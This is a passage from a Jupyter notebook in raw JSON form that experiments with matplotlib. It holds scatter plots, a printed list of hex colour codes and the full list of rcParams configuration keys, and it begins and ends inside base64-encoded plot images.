buyAMH909pIpgx\n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\nRK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fd2e8cbff28>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plt.scatter([1,2,3,4], [2,3,4,5])\n", "plt.scatter([1,2,3,4], [1,2,3,4])\n", "plt.scatter([1,2,3,4], [3,4,5,6])" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "['#000000', '#0000aa', '#00aa00', '#00aaaa', '#aa0000', '#aa00aa', '#aa5500', '#aaaaaa', '#555555', '#5555ff', '#55ff55', '#55ffff', '#ff5555', '#ff55ff', '#ffff55', '#ffffff']\n" ] } ], "source": [ "print(colors)" ] }, { "cell_type": "code", "execution_count": 15, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "['_internal.classic_mode',\n", " 'agg.path.chunksize',\n", " 'animation.avconv_args',\n", " 'animation.avconv_path',\n", " 'animation.bitrate',\n", " 'animation.codec',\n", " 'animation.convert_args',\n", " 'animation.convert_path',\n", " 'animation.ffmpeg_args',\n", " 'animation.ffmpeg_path',\n", " 'animation.frame_format',\n", " 'animation.html',\n", " 'animation.mencoder_args',\n", " 'animation.mencoder_path',\n", " 'animation.writer',\n", " 'axes.autolimit_mode',\n", " 'axes.axisbelow',\n", " 'axes.edgecolor',\n", " 'axes.facecolor',\n", " 'axes.formatter.limits',\n", " 'axes.formatter.offset_threshold',\n", " 'axes.formatter.use_locale',\n", " 'axes.formatter.use_mathtext',\n", " 'axes.formatter.useoffset',\n", " 'axes.grid',\n", " 'axes.grid.axis',\n", " 'axes.grid.which',\n", " 'axes.hold',\n", " 'axes.labelcolor',\n", " 'axes.labelpad',\n", " 'axes.labelsize',\n", " 'axes.labelweight',\n", " 'axes.linewidth',\n", " 'axes.prop_cycle',\n", " 'axes.spines.bottom',\n", " 'axes.spines.left',\n", " 'axes.spines.right',\n", " 'axes.spines.top',\n", " 'axes.titlepad',\n", " 'axes.titlesize',\n", " 'axes.titleweight',\n", " 'axes.unicode_minus',\n", " 'axes.xmargin',\n", " 'axes.ymargin',\n", " 'axes3d.grid',\n", " 'backend',\n", " 'backend.qt4',\n", " 'backend.qt5',\n", " 'backend_fallback',\n", " 'boxplot.bootstrap',\n", " 'boxplot.boxprops.color',\n", " 'boxplot.boxprops.linestyle',\n", " 'boxplot.boxprops.linewidth',\n", " 'boxplot.capprops.color',\n", " 'boxplot.capprops.linestyle',\n", " 'boxplot.capprops.linewidth',\n", " 'boxplot.flierprops.color',\n", " 'boxplot.flierprops.linestyle',\n", " 'boxplot.flierprops.linewidth',\n", " 'boxplot.flierprops.marker',\n", " 'boxplot.flierprops.markeredgecolor',\n", " 'boxplot.flierprops.markerfacecolor',\n", " 'boxplot.flierprops.markersize',\n", " 'boxplot.meanline',\n", " 'boxplot.meanprops.color',\n", " 'boxplot.meanprops.linestyle',\n", " 'boxplot.meanprops.linewidth',\n", " 'boxplot.meanprops.marker',\n", " 'boxplot.meanprops.markeredgecolor',\n", " 'boxplot.meanprops.markerfacecolor',\n", " 'boxplot.meanprops.markersize',\n", " 'boxplot.medianprops.color',\n", " 'boxplot.medianprops.linestyle',\n", " 'boxplot.medianprops.linewidth',\n", " 'boxplot.notch',\n", " 'boxplot.patchartist',\n", " 'boxplot.showbox',\n", " 'boxplot.showcaps',\n", " 'boxplot.showfliers',\n", " 'boxplot.showmeans',\n", " 'boxplot.vertical',\n", " 'boxplot.whiskerprops.color',\n", " 'boxplot.whiskerprops.linestyle',\n", " 'boxplot.whiskerprops.linewidth',\n", " 'boxplot.whiskers',\n", " 'contour.corner_mask',\n", " 'contour.negative_linestyle',\n", " 'datapath',\n", " 'date.autoformatter.day',\n", " 'date.autoformatter.hour',\n", " 'date.autoformatter.microsecond',\n", " 'date.autoformatter.minute',\n", " 'date.autoformatter.month',\n", " 'date.autoformatter.second',\n", " 'date.autoformatter.year',\n", " 'docstring.hardcopy',\n", " 'errorbar.capsize',\n", " 'examples.directory',\n", " 'figure.autolayout',\n", " 'figure.dpi',\n", " 'figure.edgecolor',\n", " 'figure.facecolor',\n", " 'figure.figsize',\n", " 'figure.frameon',\n", " 'figure.max_open_warning',\n", " 'figure.subplot.bottom',\n", " 'figure.subplot.hspace',\n", " 'figure.subplot.left',\n", " 'figure.subplot.right',\n", " 'figure.subplot.top',\n", " 'figure.subplot.wspace',\n", " 'figure.titlesize',\n", " 'figure.titleweight',\n", " 'font.cursive',\n", " 'font.family',\n", " 'font.fantasy',\n", " 'font.monospace',\n", " 'font.sans-serif',\n", " 'font.serif',\n", " 'font.size',\n", " 'font.stretch',\n", " 'font.style',\n", " 'font.variant',\n", " 'font.weight',\n", " 'grid.alpha',\n", " 'grid.color',\n", " 'grid.linestyle',\n", " 'grid.linewidth',\n", " 'hatch.color',\n", " 'hatch.linewidth',\n", " 'hist.bins',\n", " 'image.aspect',\n", " 'image.cmap',\n", " 'image.composite_image',\n", " 'image.interpolation',\n", " 'image.lut',\n", " 'image.origin',\n", " 'image.resample',\n", " 'interactive',\n", " 'keymap.all_axes',\n", " 'keymap.back',\n", " 'keymap.forward',\n", " 'keymap.fullscreen',\n", " 'keymap.grid',\n", " 'keymap.home',\n", " 'keymap.pan',\n", " 'keymap.quit',\n", " 'keymap.save',\n", " 'keymap.xscale',\n", " 'keymap.yscale',\n", " 'keymap.zoom',\n", " 'legend.borderaxespad',\n", " 'legend.borderpad',\n", " 'legend.columnspacing',\n", " 'legend.edgecolor',\n", " 'legend.facecolor',\n", " 'legend.fancybox',\n", " 'legend.fontsize',\n", " 'legend.framealpha',\n", " 'legend.frameon',\n", " 'legend.handleheight',\n", " 'legend.handlelength',\n", " 'legend.handletextpad',\n", " 'legend.labelspacing',\n", " 'legend.loc',\n", " 'legend.markerscale',\n", " 'legend.numpoints',\n", " 'legend.scatterpoints',\n", " 'legend.shadow',\n", " 'lines.antialiased',\n", " 'lines.color',\n", " 'lines.dash_capstyle',\n", " 'lines.dash_joinstyle',\n", " 'lines.dashdot_pattern',\n", " 'lines.dashed_pattern',\n", " 'lines.dotted_pattern',\n", " 'lines.linestyle',\n", " 'lines.linewidth',\n", " 'lines.marker',\n", " 'lines.markeredgewidth',\n", " 'lines.markersize',\n", " 'lines.scale_dashes',\n", " 'lines.solid_capstyle',\n", " 'lines.solid_joinstyle',\n", " 'markers.fillstyle',\n", " 'mathtext.bf',\n", " 'mathtext.cal',\n", " 'mathtext.default',\n", " 'mathtext.fallback_to_cm',\n", " 'mathtext.fontset',\n", " 'mathtext.it',\n", " 'mathtext.rm',\n", " 'mathtext.sf',\n", " 'mathtext.tt',\n", " 'nbagg.transparent',\n", " 'patch.antialiased',\n", " 'patch.edgecolor',\n", " 'patch.facecolor',\n", " 'patch.force_edgecolor',\n", " 'patch.linewidth',\n", " 'path.effects',\n", " 'path.simplify',\n", " 'path.simplify_threshold',\n", " 'path.sketch',\n", " 'path.snap',\n", " 'pdf.compression',\n", " 'pdf.fonttype',\n", " 'pdf.inheritcolor',\n", " 'pdf.use14corefonts',\n", " 'pgf.debug',\n", " 'pgf.preamble',\n", " 'pgf.rcfonts',\n", " 'pgf.texsystem',\n", " 'plugins.directory',\n", " 'polaraxes.grid',\n", " 'ps.distiller.res',\n", " 'ps.fonttype',\n", " 'ps.papersize',\n", " 'ps.useafm',\n", " 'ps.usedistiller',\n", " 'savefig.bbox',\n", " 'savefig.directory',\n", " 'savefig.dpi',\n", " 'savefig.edgecolor',\n", " 'savefig.facecolor',\n", " 'savefig.format',\n", " 'savefig.frameon',\n", " 'savefig.jpeg_quality',\n", " 'savefig.orientation',\n", " 'savefig.pad_inches',\n", " 'savefig.transparent',\n", " 'scatter.marker',\n", " 'svg.fonttype',\n", " 'svg.hashsalt',\n", " 'svg.image_inline',\n", " 'text.antialiased',\n", " 'text.color',\n", " 'text.dvipnghack',\n", " 'text.hinting',\n", " 'text.hinting_factor',\n", " 'text.latex.preamble',\n", " 'text.latex.preview',\n", " 'text.latex.unicode',\n", " 'text.usetex',\n", " 'timezone',\n", " 'tk.window_focus',\n", " 'toolbar',\n", " 'verbose.fileo',\n", " 'verbose.level',\n", " 'webagg.open_in_browser',\n", " 'webagg.port',\n", " 'webagg.port_retries',\n", " 'xtick.alignment',\n", " 'xtick.bottom',\n", " 'xtick.color',\n", " 'xtick.direction',\n", " 'xtick.labelsize',\n", " 'xtick.major.bottom',\n", " 'xtick.major.pad',\n", " 'xtick.major.size',\n", " 'xtick.major.top',\n", " 'xtick.major.width',\n", " 'xtick.minor.bottom',\n", " 'xtick.minor.pad',\n", " 'xtick.minor.size',\n", " 'xtick.minor.top',\n", " 'xtick.minor.visible',\n", " 'xtick.minor.width',\n", " 'xtick.top',\n", " 'ytick.alignment',\n", " 'ytick.color',\n", " 'ytick.direction',\n", " 'ytick.labelsize',\n", " 'ytick.left',\n", " 'ytick.major.left',\n", " 'ytick.major.pad',\n", " 'ytick.major.right',\n", " 'ytick.major.size',\n", " 'ytick.major.width',\n", " 'ytick.minor.left',\n", " 'ytick.minor.pad',\n", " 'ytick.minor.right',\n", " 'ytick.minor.size',\n", " 'ytick.minor.visible',\n", " 'ytick.minor.width',\n", " 'ytick.right']" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "plt.rcParams.keys()" ] }, { "cell_type": "code", "execution_count": 16, "metadata": {}, "outputs": [ { "data": { "image/png": "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\nCJszNqOdUT